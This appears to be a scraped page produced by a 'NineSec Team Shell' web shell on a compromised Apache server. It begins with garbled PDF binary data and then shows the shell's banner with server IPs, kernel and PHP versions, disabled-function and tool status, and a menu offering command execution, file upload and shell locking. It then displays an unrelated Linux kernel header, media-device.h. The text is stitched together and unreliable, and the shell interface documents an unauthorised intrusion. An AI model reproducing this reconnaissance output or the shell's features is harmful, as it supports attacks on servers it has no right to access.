%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.70.131.112
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/media/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/media/media-device.h
/*
 * Media device
 *
 * Copyright (C) 2010 Nokia Corporation
 *
 * Contacts: Laurent Pinchart <laurent.pinchart@ideasonboard.com>
 *	     Sakari Ailus <sakari.ailus@iki.fi>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 as
 * published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#ifndef _MEDIA_DEVICE_H
#define _MEDIA_DEVICE_H

#include <linux/list.h>
#include <linux/mutex.h>
#include <linux/spinlock.h>

#include <media/media-devnode.h>
#include <media/media-entity.h>

struct device;

/**
 * struct media_device - Media device
 * @dev:	Parent device
 * @devnode:	Media device node
 * @model:	Device model name
 * @serial:	Device serial number (optional)
 * @bus_info:	Unique and stable device location identifier
 * @hw_revision: Hardware device revision
 * @driver_version: Device driver version
 * @entity_id:	ID of the next entity to be registered
 * @entities:	List of registered entities
 * @lock:	Entities list lock
 * @graph_mutex: Entities graph operation lock
 *
 * This structure represents an abstract high-level media device. It allows easy
 * access to entities and provides basic media device-level support. The
 * structure can be allocated directly or embedded in a larger structure.
 *
 * The parent @dev is a physical device. It must be set before registering the
 * media device.
 *
 * @model is a descriptive model name exported through sysfs. It doesn't have to
 * be unique.
 */
struct media_device {
	/* dev->driver_data points to this struct. */
	struct device *dev;
	struct media_devnode devnode;

	char model[32];
	char serial[40];
	char bus_info[32];
	u32 hw_revision;
	u32 driver_version;

	u32 entity_id;
	struct list_head entities;

	/* Protects the entities list */
	spinlock_t lock;
	/* Serializes graph operations. */
	struct mutex graph_mutex;

	int (*link_notify)(struct media_pad *source,
			   struct media_pad *sink, u32 flags);
};

/* media_devnode to media_device */
#define to_media_device(node) container_of(node, struct media_device, devnode)

int __must_check media_device_register(struct media_device *mdev);
void media_device_unregister(struct media_device *mdev);

int __must_check media_device_register_entity(struct media_device *mdev,
					      struct media_entity *entity);
void media_device_unregister_entity(struct media_entity *entity);

/* Iterate over all entities. */
#define media_device_for_each_entity(entity, mdev)			\
	list_for_each_entry(entity, &(mdev)->entities, list)

#endif

NineSec Team - 2022